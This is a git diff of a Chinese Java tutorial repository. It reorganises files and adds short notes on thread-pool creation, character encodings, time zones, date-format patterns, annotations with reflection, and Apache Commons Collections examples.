+这种情况下,一旦提交的线程数超过当前可用线程数时,就会抛出`java.util.concurrent.RejectedExecutionException`,这是因为当前线程池使用的队列是有边界队列,队列已经满了便无法继续处理新的请求。但是异常(Exception)总比发生错误(Error)要好。
+
+除了自己定义`ThreadPoolExecutor`外。还有其他方法。这个时候第一时间就应该想到开源类库,如apache和guava等。
+
+作者推荐使用guava提供的ThreadFactoryBuilder来创建线程池。
+
+public class ExecutorsDemo {
+
+ private static ThreadFactory namedThreadFactory = new ThreadFactoryBuilder()
+ .setNameFormat("demo-pool-%d").build();
+
+ private static ExecutorService pool = new ThreadPoolExecutor(5, 200,
+ 0L, TimeUnit.MILLISECONDS,
+ new LinkedBlockingQueue<Runnable>(1024), namedThreadFactory, new ThreadPoolExecutor.AbortPolicy());
+
+ public static void main(String[] args) {
+
+ for (int i = 0; i < Integer.MAX_VALUE; i++) {
+ pool.execute(new SubThread());
+ }
+ }
+}
+
+
+通过上述方式创建线程时,不仅可以避免OOM的问题,还可以自定义线程名称,更加方便的出错的时候溯源。
+
+思考题,文中作者说:发生异常(Exception)要比发生错误(Error)好,为什么这么说?
+
+文中提到的《阿里巴巴Java开发手册》,请关注公众号Hollis,回复:手册。即可获得完整版PDF。
+
+ [1]: https://mp.weixin.qq.com/s/-89-CcDnSLBYy3THmcLEdQ
+ [2]: http://www.hollischuang.com/wp-content/uploads/2018/10/15406248096737.jpg
\ No newline at end of file
diff --git a/docs/basics/java-basic/ASCII.md b/docs/basics/java-basic/ASCII.md
new file mode 100644
index 00000000..ddfe639f
--- /dev/null
+++ b/docs/basics/java-basic/ASCII.md
@@ -0,0 +1,16 @@
+ASCII( American Standard Code for InformationInterchange, 美国信息交换标准代码) 是基于拉丁字母的⼀套电脑编码系统, 主要⽤于显⽰现代英语和其他西欧语⾔。
+
+它是现今最通⽤的单字节编码系统, 并等同于国际标准ISO/IEC646。
+
+标准ASCII 码也叫基础ASCII码, 使⽤7 位⼆进制数( 剩下的1位⼆进制为0) 来表⽰所有的⼤写和⼩写字母, 数字0 到9、 标点符号, 以及在美式英语中使⽤的特殊控制字符。
+
+
+其中:
+
+0~31及127(共33个)是控制字符或通信专⽤字符( 其余为可显⽰字符) , 如控制符: LF( 换⾏) 、 CR( 回车) 、 FF( 换页) 、 DEL( 删除) 、 BS( 退格)、 BEL( 响铃) 等; 通信专⽤字符: SOH( ⽂头) 、 EOT( ⽂尾) 、 ACK( 确认) 等;
+
+ASCII值为8、 9、 10 和13 分别转换为退格、 制表、 换⾏和回车字符。 它们并没有特定的图形显⽰, 但会依不同的应⽤程序,⽽对⽂本显⽰有不同的影响
+
+32~126(共95个)是字符(32是空格) , 其中48~57为0到9⼗个阿拉伯数字。
+
+65~90为26个⼤写英⽂字母, 97~122号为26个⼩写英⽂字母, 其余为⼀些标点符号、 运算符号等。
\ No newline at end of file
diff --git a/basics/java-basic/Arrays-asList.md b/docs/basics/java-basic/Arrays-asList.md
similarity index 100%
rename from basics/java-basic/Arrays-asList.md
rename to docs/basics/java-basic/Arrays-asList.md
diff --git a/docs/basics/java-basic/CET-UTC-GMT-CST.md b/docs/basics/java-basic/CET-UTC-GMT-CST.md
new file mode 100644
index 00000000..86872a67
--- /dev/null
+++ b/docs/basics/java-basic/CET-UTC-GMT-CST.md
@@ -0,0 +1,22 @@
+### CET
+欧洲中部时间(英語:Central European Time,CET)是比世界标准时间(UTC)早一个小时的时区名称之一。它被大部分欧洲国家和部分北非国家采用。冬季时间为UTC+1,夏季欧洲夏令时为UTC+2。
+
+
+### UTC
+协调世界时,又称世界标准时间或世界协调时间,简称UTC,从英文“Coordinated Universal Time”/法文“Temps Universel Cordonné”而来。台湾采用CNS 7648的《资料元及交换格式–资讯交换–日期及时间的表示法》(与ISO 8601类似)称之为世界统一时间。中国大陆采用ISO 8601-1988的国标《数据元和交换格式信息交换日期和时间表示法》(GB/T 7408)中称之为国际协调时间。协调世界时是以原子时秒长为基础,在时刻上尽量接近于世界时的一种时间计量系统。
+
+### GMT
+格林尼治标准时间(旧译格林尼治平均时间或格林威治标准时间;英语:Greenwich Mean Time,GMT)是指位于英国伦敦郊区的皇家格林尼治天文台的标准时间,因为本初子午线被定义在通过那里的经线。
+
+
+### CST
+北京时间,China Standard Time,又名中国标准时间,是中国的标准时间。在时区划分上,属东八区,比协调世界时早8小时,记为UTC+8,与中华民国国家标准时间(旧称“中原标准时间”)、香港时间和澳门时间和相同。當格林威治時間為凌晨0:00時,中國標準時間剛好為上午8:00。
+
+
+### 关系
+
+CET=UTC/GMT + 1小时
+
+CST=UTC/GMT +8 小时
+
+CST=CET + 7 小时
diff --git a/basics/java-basic/Class.md b/docs/basics/java-basic/Class.md
similarity index 100%
rename from basics/java-basic/Class.md
rename to docs/basics/java-basic/Class.md
diff --git a/basics/java-basic/Collection-vs-Collections.md b/docs/basics/java-basic/Collection-vs-Collections.md
similarity index 100%
rename from basics/java-basic/Collection-vs-Collections.md
rename to docs/basics/java-basic/Collection-vs-Collections.md
diff --git a/basics/java-basic/ConcurrentSkipListMap.md b/docs/basics/java-basic/ConcurrentSkipListMap.md
similarity index 100%
rename from basics/java-basic/ConcurrentSkipListMap.md
rename to docs/basics/java-basic/ConcurrentSkipListMap.md
diff --git a/basics/java-basic/CopyOnWriteArrayList.md b/docs/basics/java-basic/CopyOnWriteArrayList.md
similarity index 100%
rename from basics/java-basic/CopyOnWriteArrayList.md
rename to docs/basics/java-basic/CopyOnWriteArrayList.md
diff --git a/basics/java-basic/Enumeration-vs-Iterator.md b/docs/basics/java-basic/Enumeration-vs-Iterator.md
similarity index 100%
rename from basics/java-basic/Enumeration-vs-Iterator.md
rename to docs/basics/java-basic/Enumeration-vs-Iterator.md
diff --git a/docs/basics/java-basic/GMT.md b/docs/basics/java-basic/GMT.md
new file mode 100644
index 00000000..fcd97dd8
--- /dev/null
+++ b/docs/basics/java-basic/GMT.md
@@ -0,0 +1,7 @@
+格林尼治平时(英语:Greenwich Mean Time,GMT)是指位于英国伦敦郊区的皇家格林尼治天文台当地的平太阳时,因为本初子午线被定义为通过那里的经线。
+
+自1924年2月5日开始,格林尼治天文台负责每隔一小时向全世界发放调时信息。
+
+格林尼治平时的正午是指当平太阳横穿格林尼治子午线时(也就是在格林尼治上空最高点时)的时间。由于地球每天的自转是有些不规则的,而且正在缓慢减速,因此格林尼治平时基于天文观测本身的缺陷,已经被原子钟报时的协调世界时(UTC)所取代。
+
+一般使用GMT+8表示中国的时间,是因为中国位于东八区,时间上比格林威治时间快8个小时。
\ No newline at end of file
diff --git a/basics/java-basic/HashMap-HashTable-ConcurrentHashMap.md b/docs/basics/java-basic/HashMap-HashTable-ConcurrentHashMap.md
similarity index 100%
rename from basics/java-basic/HashMap-HashTable-ConcurrentHashMap.md
rename to docs/basics/java-basic/HashMap-HashTable-ConcurrentHashMap.md
diff --git a/docs/basics/java-basic/README.md b/docs/basics/java-basic/README.md
new file mode 100644
index 00000000..e6fef945
--- /dev/null
+++ b/docs/basics/java-basic/README.md
@@ -0,0 +1,12 @@
+## To Be Top Javaer - Java工程师成神之路
+
+  
+
+
+| 主要版本 | 更新时间 | 备注 |
+| ---- | ---------- | -------------- |
+| v1.0 | 2015-08-01 | 首次发布 |
+| v1.1 | 2018-03-12 | 增加新技术知识、完善知识体系 |
+| v2.0 | 2019-02-19 | 结构调整,更适合从入门到精通; 进一步完善知识体系; 新技术补充;|
+
+Java 基础
\ No newline at end of file
diff --git a/docs/basics/java-basic/Runtime-Constant-Pool.md b/docs/basics/java-basic/Runtime-Constant-Pool.md
new file mode 100644
index 00000000..cb4d7531
--- /dev/null
+++ b/docs/basics/java-basic/Runtime-Constant-Pool.md
@@ -0,0 +1,37 @@
+运行时常量池( Runtime Constant Pool)是每一个类或接口的常量池( Constant_Pool)的运行时表示形式。
+
+它包括了若干种不同的常量:从编译期可知的数值字面量到必须运行期解析后才能获得的方法或字段引用。运行时常量池扮演了类似传统语言中符号表( SymbolTable)的角色,不过它存储数据范围比通常意义上的符号表要更为广泛。
+
+每一个运行时常量池都分配在 Java 虚拟机的方法区之中,在类和接口被加载到虚拟机后,对应的运行时常量池就被创建出来。
+
+以上,是Java虚拟机规范中关于运行时常量池的定义。
+
+### 运行时常量池在JDK各个版本中的实现
+
+根据Java虚拟机规范约定:每一个运行时常量池都在Java虚拟机的方法区中分配,在加载类和接口到虚拟机后,就创建对应的运行时常量池。
+
+在不同版本的JDK中,运行时常量池所处的位置也不一样。以HotSpot为例:
+
+在JDK 1.7之前,方法区位于堆内存的永久代中,运行时常量池作为方法区的一部分,也处于永久代中。
+
+因为使用永久代实现方法区可能导致内存泄露问题,所以,从JDK1.7开始,JVM尝试解决这一问题,在1.7中,将原本位于永久代中的运行时常量池移动到堆内存中。(永久代在JDK 1.7并没有完全移除,只是原来方法区中的运行时常量池、类的静态变量等移动到了堆内存中。)
+
+在JDK 1.8中,彻底移除了永久代,方法区通过元空间的方式实现。随之,运行时常量池也在元空间中实现。
+
+### 运行时常量池中常量的来源
+
+运行时常量池中包含了若干种不同的常量:
+
+编译期可知的字面量和符号引用(来自Class常量池)
+运行期解析后可获得的常量(如String的intern方法)
+
+所以,运行时常量池中的内容包含:Class常量池中的常量、字符串常量池中的内容
+
+### 运行时常量池、Class常量池、字符串常量池的区别与联系
+
+
+虚拟机启动过程中,会将各个Class文件中的常量池载入到运行时常量池中。
+
+所以, Class常量池只是一个媒介场所。在JVM真的运行时,需要把常量池中的常量加载到内存中,进入到运行时常量池。
+
+字符串常量池可以理解为运行时常量池分出来的部分。加载时,对于class的静态常量池,如果字符串会被装到字符串常量池中。
\ No newline at end of file
diff --git a/docs/basics/java-basic/StandardTime-vs-daylightSavingTime.md b/docs/basics/java-basic/StandardTime-vs-daylightSavingTime.md
new file mode 100644
index 00000000..277233e0
--- /dev/null
+++ b/docs/basics/java-basic/StandardTime-vs-daylightSavingTime.md
@@ -0,0 +1,9 @@
+夏令时、冬令时的出现,是为了充分利用夏天的日照,所以时钟要往前拨快一小时,冬天再把表往回拨一小时。其中夏令时从3月第二个周日持续到11月第一个周日。
+
+冬令时:
+北京和洛杉矶时差:16
+北京和纽约时差:13
+
+夏令时:
+北京和洛杉矶时差:15
+北京和纽约时差:12
diff --git a/docs/basics/java-basic/UNICODE.md b/docs/basics/java-basic/UNICODE.md
new file mode 100644
index 00000000..7d057389
--- /dev/null
+++ b/docs/basics/java-basic/UNICODE.md
@@ -0,0 +1,11 @@
+ASCII码,只有256个字符,美国人倒是没啥问题了,他们用到的字符几乎都包括了,但是世界上不只有美国程序员啊,所以需要一种更加全面的字符集。
+
+Unicode(中文:万国码、国际码、统一码、单一码)是计算机科学领域里的一项业界标准。它对世界上大部分的文字系统进行了整理、编码,使得计算机可以用更为简单的方式来呈现和处理文字。
+
+Unicode伴随着通用字符集的标准而发展,同时也以书本的形式对外发表。Unicode至今仍在不断增修,每个新版本都加入更多新的字符。目前最新的版本为2018年6月5日公布的11.0.0,已经收录超过13万个字符(第十万个字符在2005年获采纳)。Unicode涵盖的数据除了视觉上的字形、编码方法、标准的字符编码外,还包含了字符特性,如大小写字母。
+
+Unicode发展由非营利机构统一码联盟负责,该机构致力于让Unicode方案取代既有的字符编码方案。因为既有的方案往往空间非常有限,亦不适用于多语环境。
+
+Unicode备受认可,并广泛地应用于计算机软件的国际化与本地化过程。有很多新科技,如可扩展置标语言(Extensible Markup Language,简称:XML)、Java编程语言以及现代的操作系统,都采用Unicode编码。
+
+Unicode可以表示中文。
\ No newline at end of file
diff --git a/docs/basics/java-basic/UTF8-UTF16-UTF32.md b/docs/basics/java-basic/UTF8-UTF16-UTF32.md
new file mode 100644
index 00000000..85ad8567
--- /dev/null
+++ b/docs/basics/java-basic/UTF8-UTF16-UTF32.md
@@ -0,0 +1,9 @@
+Unicode 是容纳世界所有文字符号的国际标准编码,使用四个字节为每个字符编码。
+
+UTF 是英文 Unicode Transformation Format 的缩写,意为把 Unicode 字符转换为某种格式。UTF 系列编码方案(UTF-8、UTF-16、UTF-32)均是由 Unicode 编码方案衍变而来,以适应不同的数据存储或传递,它们都可以完全表示 Unicode 标准中的所有字符。目前,这些衍变方案中 UTF-8 被广泛使用,而 UTF-16 和 UTF-32 则很少被使用。
+
+UTF-8 使用一至四个字节为每个字符编码,其中大部分汉字采用三个字节编码,少量不常用汉字采用四个字节编码。因为 UTF-8 是可变长度的编码方式,相对于 Unicode 编码可以减少存储占用的空间,所以被广泛使用。
+
+UTF-16 使用二或四个字节为每个字符编码,其中大部分汉字采用两个字节编码,少量不常用汉字采用四个字节编码。UTF-16 编码有大尾序和小尾序之别,即 UTF-16BE 和 UTF-16LE,在编码前会放置一个 U+FEFF 或 U+FFFE(UTF-16BE 以 FEFF 代表,UTF-16LE 以 FFFE 代表),其中 U+FEFF 字符在 Unicode 中代表的意义是 ZERO WIDTH NO-BREAK SPACE,顾名思义,它是个没有宽度也没有断字的空白。
+
+UTF-32 使用四个字节为每个字符编码,使得 UTF-32 占用空间通常会是其它编码的二到四倍。UTF-32 与 UTF-16 一样有大尾序和小尾序之别,编码前会放置 U+0000FEFF 或 U+0000FFFE 以区分。
\ No newline at end of file
diff --git a/docs/basics/java-basic/Wildcard-Character.md b/docs/basics/java-basic/Wildcard-Character.md
new file mode 100644
index 00000000..3c173ac0
--- /dev/null
+++ b/docs/basics/java-basic/Wildcard-Character.md
@@ -0,0 +1,10 @@
+`限定通配符`对类型进⾏限制, 泛型中有两种限定通配符:
+
+表示类型的上界,格式为:`<? extends T>`,即类型必须为T类型或者T子类
+表示类型的下界,格式为:`<? super T>`,即类型必须为T类型或者T的父类
+
+泛型类型必须⽤限定内的类型来进⾏初始化,否则会导致编译错误。
+
+
+
+`⾮限定通配符`表⽰可以⽤任意泛型类型来替代,类型为``
\ No newline at end of file
diff --git a/docs/basics/java-basic/YYYY-vs-yyyy.md b/docs/basics/java-basic/YYYY-vs-yyyy.md
new file mode 100644
index 00000000..cfc55287
--- /dev/null
+++ b/docs/basics/java-basic/YYYY-vs-yyyy.md
@@ -0,0 +1,57 @@
+在使用SimpleDateFormat的时候,需要通过字母来描述时间元素,并组装成想要的日期和时间模式。常用的时间元素和字母的对应表(JDK 1.8)如下:
+
+
+
+可以看到,*y表示Year ,而Y表示Week Year*
+
+
+
+### 什么是Week Year
+
+我们知道,不同的国家对于一周的开始和结束的定义是不同的。如在中国,我们把星期一作为一周的第一天,而在美国,他们把星期日作为一周的第一天。
+
+同样,如何定义哪一周是一年当中的第一周?这也是一个问题,有很多种方式。
+
+比如下图是2019年12月-2020年1月的一份日历。
+
+
+
+
+
+到底哪一周才算2020年的第一周呢?不同的地区和国家,甚至不同的人,都有不同的理解。
+
+* 1、1月1日是周三,到下周三(1月8日),这7天算作这一年的第一周。
+* 2、因为周日(周一)才是一周的第一天,所以,要从2020年的第一个周日(周一)开始往后推7天才算这一年的第一周。
+* 3、因为12.29、12.30、12.31是2019年,而1.1、1.2、1.3才是2020年,而1.4周日是下一周的开始,所以,第一周应该只有1.1、1.2、1.3这三天。
+
+#### ISO 8601
+
+因为不同人对于日期和时间的表示方法有不同的理解,于是,大家就共同制定了了一个国际规范:ISO 8601 。
+
+国际标准化组织的国际标准ISO 8601是日期和时间的表示方法,全称为《数据存储和交换形式·信息交换·日期和时间的表示方法》。
+
+在 ISO 8601中。对于一年的第一个日历星期有以下四种等效说法:
+* 1,本年度第一个星期四所在的星期;
+* 2,1月4日所在的星期;
+* 3,本年度第一个至少有4天在同一星期内的星期;
+* 4,星期一在去年12月29日至今年1月4日以内的星期;
+
+根据这个标准,我们可以推算出:
+
+2020年第一周:2019.12.29-2020.1.4
+
+所以,根据ISO 8601标准,2019年12月29日、2019年12月30日、2019年12月31日这两天,其实不属于2019年的最后一周,而是属于2020年的第一周。
+
+
+#### JDK针对ISO 8601提供的支持
+
+根据ISO 8601中关于日历星期和日表示法的定义,2019.12.29-2020.1.4是2020年的第一周。
+
+我们希望输入一个日期,然后程序告诉我们,根据ISO 8601中关于日历日期的定义,这个日期到底属于哪一年。
+
+比如我输入2019-12-20,他告诉我是2019;而我输入2019-12-30的时候,他告诉我是2020。
+
+为了提供这样的数据,Java 7引入了「YYYY」作为一个新的日期模式来作为标识。使用「YYYY」作为标识,。再通过SimpleDateFormat就可以得到一个日期所属的周属于哪一年了
+
+
+所以,当我们要表示日期的时候,一定要使用 yyyy-MM-dd 而不是 YYYY-MM-dd ,这两者的返回结果大多数情况下都一样,但是极端情况就会有问题了。
\ No newline at end of file
diff --git a/docs/basics/java-basic/annotation-in-java.md b/docs/basics/java-basic/annotation-in-java.md
new file mode 100644
index 00000000..1dc1eb04
--- /dev/null
+++ b/docs/basics/java-basic/annotation-in-java.md
@@ -0,0 +1,45 @@
+
+
+@Override 表示当前方法覆盖了父类的方法
+
+@Deprecated 表示方法已经过时,方法上有横线,使用时会有警告。
+
+@SuppressWarnings 表示关闭一些警告信息(通知java编译器忽略特定的编译警告)
+
+@SafeVarargs (jdk1.7更新) 表示:专门为抑制“堆污染”警告提供的。
+
+@FunctionalInterface (jdk1.8更新) 表示:用来指定某个接口必须是函数式接口,否则就会编译出错。
+
+
+### Spring常用注解
+
+@Configuration把一个类作为一个IoC容器,它的某个方法头上如果注册了@Bean,就会作为这个Spring容器中的Bean。
+
+@Scope注解 作用域
+
+@Lazy(true) 表示延迟初始化
+
+@Service用于标注业务层组件
+
+@Controller用于标注控制层组件@Repository用于标注数据访问组件,即DAO组件。
+
+@Component泛指组件,当组件不好归类的时候,我们可以使用这个注解进行标注。
+
+@Scope用于指定scope作用域的(用在类上)
+
+@PostConstruct用于指定初始化方法(用在方法上)
+
+@PreDestory用于指定销毁方法(用在方法上)
+
+@DependsOn:定义Bean初始化及销毁时的顺序
+
+@Primary:自动装配时当出现多个Bean候选者时,被注解为@Primary的Bean将作为首选者,否则将抛出异常
+
+@Autowired 默认按类型装配,如果我们想使用按名称装配,可以结合@Qualifier注解一起使用。如下:
+@Autowired @Qualifier("personDaoBean") 存在多个实例配合使用
+
+@Resource默认按名称装配,当找不到与名称匹配的bean才会按类型装配。
+
+@PostConstruct 初始化注解
+
+@PreDestroy 摧毁注解 默认 单例 启动就加载
diff --git a/docs/basics/java-basic/annotation-in-spring.md b/docs/basics/java-basic/annotation-in-spring.md
new file mode 100644
index 00000000..b069d257
--- /dev/null
+++ b/docs/basics/java-basic/annotation-in-spring.md
@@ -0,0 +1,38 @@
+@Configuration把一个类作为一个IoC容器,它的某个方法头上如果注册了@Bean,就会作为这个Spring容器中的Bean。
+
+@Scope注解 作用域
+
+@Lazy(true) 表示延迟初始化
+
+@Service用于标注业务层组件、
+
+@Controller用于标注控制层组件@Repository用于标注数据访问组件,即DAO组件。
+
+@Component泛指组件,当组件不好归类的时候,我们可以使用这个注解进行标注。
+
+@Scope用于指定scope作用域的(用在类上)
+
+@PostConstruct用于指定初始化方法(用在方法上)
+
+@PreDestory用于指定销毁方法(用在方法上)
+
+@DependsOn:定义Bean初始化及销毁时的顺序
+
+@Primary:自动装配时当出现多个Bean候选者时,被注解为@Primary的Bean将作为首选者,否则将抛出异常
+
+@Autowired 默认按类型装配,如果我们想使用按名称装配,可以结合@Qualifier注解一起使用。如下:
+
+@Autowired @Qualifier("personDaoBean") 存在多个实例配合使用
+
+@Resource默认按名称装配,当找不到与名称匹配的bean才会按类型装配。
+
+
+### Spring中的这几个注解有什么区别:@Component 、@Repository、@Service、@Controller
+
+
+1. @Component指的是组件,
+
+@Controller,@Repository和@Service 注解都被@Component修饰,用于代码中区分表现层,持久层和业务层的组件,代码中组件不好归类时可以使用@Component来标注
+
+2. 当前版本只有区分的作用,未来版本可能会添加更丰富的功能
+
diff --git a/docs/basics/java-basic/annotion-and-reflect.md b/docs/basics/java-basic/annotion-and-reflect.md
new file mode 100644
index 00000000..117e1bc8
--- /dev/null
+++ b/docs/basics/java-basic/annotion-and-reflect.md
@@ -0,0 +1,113 @@
+注解和反射经常结合在一起使用,在很多框架的代码中都能看到他们结合使用的影子
+
+
+可以通过反射来判断类,方法,字段上是否有某个注解以及获取注解中的值, 获取某个类中方法上的注解代码示例如下:
+
+```
+Class> clz = bean.getClass();
+Method[] methods = clz.getMethods();
+for (Method method : methods) {
+ if (method.isAnnotationPresent(EnableAuth.class)) {
+ String name = method.getAnnotation(EnableAuth.class).name();
+ }
+}
+```
+
+通过isAnnotationPresent判断是否存在某个注解,通过getAnnotation获取注解对象,然后获取值。
+
+### 示例
+
+示例参考:https://blog.csdn.net/KKALL1314/article/details/96481557
+
+自己写了一个例子,实现功能如下:
+
+一个类的某些字段上被注解标识,在读取该属性时,将注解中的默认值赋给这些属性,没有标记的属性不赋值
+
+```
+@Retention(RetentionPolicy.RUNTIME)
+@Target(ElementType.FIELD)
+@Documented
+@Inherited
+public @interface MyAnno {
+ String value() default "有注解";
+}
+
+```
+
+定义一个类
+
+```
+@Data
+@ToString
+public class Person {
+ @MyAnno
+ private String stra;
+ private String strb;
+ private String strc;
+
+ public Person(String str1,String str2,String str3){
+ super();
+ this.stra = str1;
+ this.strb = str2;
+ this.strc = str3;
+ }
+
+}
+
+```
+
+这里给str1加了注解,并利用反射解析并赋值:
+
+```
+public class MyTest {
+ public static void main(String[] args) {
+ //初始化全都赋值无注解
+ Person person = new Person("无注解","无注解","无注解");
+ //解析注解
+ doAnnoTest(person);
+ System.out.println(person.toString());
+ }
+
+ private static void doAnnoTest(Object obj) {
+ Class clazz = obj.getClass();
+ Field[] declareFields = clazz.getDeclaredFields();
+ for (Field field:declareFields) {
+ //检查该字段是否使用了某个注解
+ if(field.isAnnotationPresent(MyAnno.class)){
+ MyAnno anno = field.getAnnotation(MyAnno.class);
+ if(anno!=null){
+ String fieldName = field.getName();
+ try {
+ Method setMethod = clazz.getDeclaredMethod("set" + fieldName.substring(0, 1).toUpperCase() + fieldName.substring(1),String.class);
+ //获取注解的属性
+ String annoValue = anno.value();
+ //将注解的属性值赋给对应的属性
+ setMethod.invoke(obj,annoValue);
+ }catch (NoSuchMethodException e){
+ e.printStackTrace();
+ } catch (IllegalAccessException e) {
+ e.printStackTrace();
+ } catch (InvocationTargetException e) {
+ e.printStackTrace();
+ }
+
+ }
+ }
+
+ }
+ }
+
+}
+
+```
+运行结果:
+
+```
+
+Person(stra=有注解, strb=无注解, strc=无注解)
+
+``
+
+当开发者使用了Annotation 修饰了类、方法、Field 等成员之后,这些 Annotation 不会自己生效,必须由开发者提供相应的代码来提取并处理 Annotation 信息。这些处理提取和处理 Annotation 的代码统称为 APT(Annotation Processing Tool)。
+
+注解的提取需要借助于 Java 的反射技术,反射比较慢,所以注解使用时也需要谨慎计较时间成本。
diff --git a/basics/java-basic/aop-vs-proxy.md b/docs/basics/java-basic/aop-vs-proxy.md
similarity index 100%
rename from basics/java-basic/aop-vs-proxy.md
rename to docs/basics/java-basic/aop-vs-proxy.md
diff --git a/docs/basics/java-basic/apache-collections.md b/docs/basics/java-basic/apache-collections.md
new file mode 100644
index 00000000..90f92201
--- /dev/null
+++ b/docs/basics/java-basic/apache-collections.md
@@ -0,0 +1,388 @@
+Commons Collections增强了Java Collections Framework。 它提供了几个功能,使收集处理变得容易。 它提供了许多新的接口,实现和实用程序。 Commons Collections的主要功能如下
+
+* Bag - Bag界面简化了每个对象具有多个副本的集合。
+
+* BidiMap - BidiMap接口提供双向映射,可用于使用值使用键或键查找值。
+
+* MapIterator - MapIterator接口提供简单而容易的迭代迭代。
+
+* Transforming Decorators - 转换装饰器可以在将集合添加到集合时更改集合的每个对象。
+
+* Composite Collections - 在需要统一处理多个集合的情况下使用复合集合。
+
+* Ordered Map - 有序地图保留添加元素的顺序。
+
+* Ordered Set - 有序集保留了添加元素的顺序。
+
+* Reference map - 参考图允许在密切控制下对键/值进行垃圾收集。
+
+* Comparator implementations - 可以使用许多Comparator实现。
+
+* Iterator implementations - 许多Iterator实现都可用。
+
+* Adapter Classes - 适配器类可用于将数组和枚举转换为集合。
+
+* Utilities - 实用程序可用于测试测试或创建集合的典型集合论属性,例如union,intersection。 支持关闭。
+
+### Commons Collections - Bag
+
+Bag定义了一个集合,用于计算对象在集合中出现的次数。 例如,如果Bag包含{a,a,b,c},则getCount(“a”)将返回2,而uniqueSet()将返回唯一值。
+
+
+```java
+
+import org.apache.commons.collections4.Bag;
+import org.apache.commons.collections4.bag.HashBag;
+public class BagTester {
+ public static void main(String[] args) {
+ Bag bag = new HashBag<>();
+ //add "a" two times to the bag.
+ bag.add("a" , 2);
+ //add "b" one time to the bag.
+ bag.add("b");
+ //add "c" one time to the bag.
+ bag.add("c");
+ //add "d" three times to the bag.
+ bag.add("d",3);
+ //get the count of "d" present in bag.
+ System.out.println("d is present " + bag.getCount("d") + " times.");
+ System.out.println("bag: " +bag);
+ //get the set of unique values from the bag
+ System.out.println("Unique Set: " +bag.uniqueSet());
+ //remove 2 occurrences of "d" from the bag
+ bag.remove("d",2);
+ System.out.println("2 occurences of d removed from bag: " +bag);
+ System.out.println("d is present " + bag.getCount("d") + " times.");
+ System.out.println("bag: " +bag);
+ System.out.println("Unique Set: " +bag.uniqueSet());
+ }
+}
+
+```
+
+它将打印以下结果:
+
+```
+
+d is present 3 times.
+bag: [2:a,1:b,1:c,3:d]
+Unique Set: [a, b, c, d]
+2 occurences of d removed from bag: [2:a,1:b,1:c,1:d]
+d is present 1 times.
+bag: [2:a,1:b,1:c,1:d]
+Unique Set: [a, b, c, d]
+
+```
+
+### Commons Collections - BidiMap
+
+使用双向映射,可以使用值查找键,并且可以使用键轻松查找值。
+
+```java
+
+import org.apache.commons.collections4.BidiMap;
+import org.apache.commons.collections4.bidimap.TreeBidiMap;
+public class BidiMapTester {
+ public static void main(String[] args) {
+ BidiMap bidi = new TreeBidiMap<>();
+ bidi.put("One", "1");
+ bidi.put("Two", "2");
+ bidi.put("Three", "3");
+ System.out.println(bidi.get("One"));
+ System.out.println(bidi.getKey("1"));
+ System.out.println("Original Map: " + bidi);
+ bidi.removeValue("1");
+ System.out.println("Modified Map: " + bidi);
+ BidiMap inversedMap = bidi.inverseBidiMap();
+ System.out.println("Inversed Map: " + inversedMap);
+ }
+}
+```
+
+它将打印以下结果。
+```
+1
+One
+Original Map: {One=1, Three=3, Two=2}
+Modified Map: {Three=3, Two=2}
+Inversed Map: {2=Two, 3=Three}
+```
+
+### Commons Collections - MapIterator
+
+JDK Map接口很难迭代,因为迭代要在EntrySet或KeySet对象上完成。 MapIterator提供了对Map的简单迭代。
+
+```java
+
+import org.apache.commons.collections4.IterableMap;
+import org.apache.commons.collections4.MapIterator;
+import org.apache.commons.collections4.map.HashedMap;
+public class MapIteratorTester {
+ public static void main(String[] args) {
+ IterableMap map = new HashedMap<>();
+ map.put("1", "One");
+ map.put("2", "Two");
+ map.put("3", "Three");
+ map.put("4", "Four");
+ map.put("5", "Five");
+ MapIterator iterator = map.mapIterator();
+ while (iterator.hasNext()) {
+ Object key = iterator.next();
+ Object value = iterator.getValue();
+ System.out.println("key: " + key);
+ System.out.println("Value: " + value);
+ iterator.setValue(value + "_");
+ }
+ System.out.println(map);
+ }
+}
+```
+
+它将打印以下结果。
+```
+key: 3
+Value: Three
+key: 5
+Value: Five
+key: 2
+Value: Two
+key: 4
+Value: Four
+key: 1
+Value: One
+{3=Three_, 5=Five_, 2=Two_, 4=Four_, 1=One_}
+```
+
+### Commons Collections - OrderedMap
+
+OrderedMap是地图的新接口,用于保留添加元素的顺序。 LinkedMap和ListOrderedMap是两个可用的实现。 此接口支持Map的迭代器,并允许在Map中向前或向后迭代两个方向。
+
+```java
+import org.apache.commons.collections4.OrderedMap;
+import org.apache.commons.collections4.map.LinkedMap;
+public class OrderedMapTester {
+ public static void main(String[] args) {
+ OrderedMap map = new LinkedMap();
+ map.put("One", "1");
+ map.put("Two", "2");
+ map.put("Three", "3");
+ System.out.println(map.firstKey());
+ System.out.println(map.nextKey("One"));
+ System.out.println(map.nextKey("Two"));
+ }
+}
+```
+
+它将打印以下结果。
+
+```
+One
+Two
+Three
+
+```
+
+### Commons Collections - Ignore NULL
+
+Apache Commons Collections库的CollectionUtils类为常见操作提供了各种实用方法,涵盖了广泛的用例。 它有助于避免编写样板代码。 这个库在jdk 8之前非常有用,因为Java 8的Stream API现在提供了类似的功能。
+
+
+```java
+import java.util.LinkedList;
+import java.util.List;
+import org.apache.commons.collections4.CollectionUtils;
+public class CollectionUtilsTester {
+ public static void main(String[] args) {
+ List list = new LinkedList();
+ CollectionUtils.addIgnoreNull(list, null);
+ CollectionUtils.addIgnoreNull(list, "a");
+ System.out.println(list);
+ if(list.contains(null)) {
+ System.out.println("Null value is present");
+ } else {
+ System.out.println("Null value is not present");
+ }
+ }
+}
+```
+
+它将打印以下结果。
+```
+[a]
+Null value is not present
+```
+
+### Merge & Sort
+
+Apache Commons Collections库的CollectionUtils类为常见操作提供了各种实用方法,涵盖了广泛的用例。 它有助于避免编写样板代码。 这个库在jdk 8之前非常有用,因为Java 8的Stream API现在提供了类似的功能。
+
+```java
+
+import java.util.Arrays;
+import java.util.List;
+import org.apache.commons.collections4.CollectionUtils;
+public class CollectionUtilsTester {
+ public static void main(String[] args) {
+ List sortedList1 = Arrays.asList("A","C","E");
+ List sortedList2 = Arrays.asList("B","D","F");
+ List mergedList = CollectionUtils.collate(sortedList1, sortedList2);
+ System.out.println(mergedList);
+ }
+}
+```
+
+
+它将打印以下结果。
+```
+[A, B, C, D, E, F]
+```
+
+### 安全空检查(Safe Empty Checks)
+
+Apache Commons Collections库的CollectionUtils类为常见操作提供了各种实用方法,涵盖了广泛的用例。 它有助于避免编写样板代码。 这个库在jdk 8之前非常有用,因为Java 8的Stream API现在提供了类似的功能。
+
+
+```java
+import java.util.List;
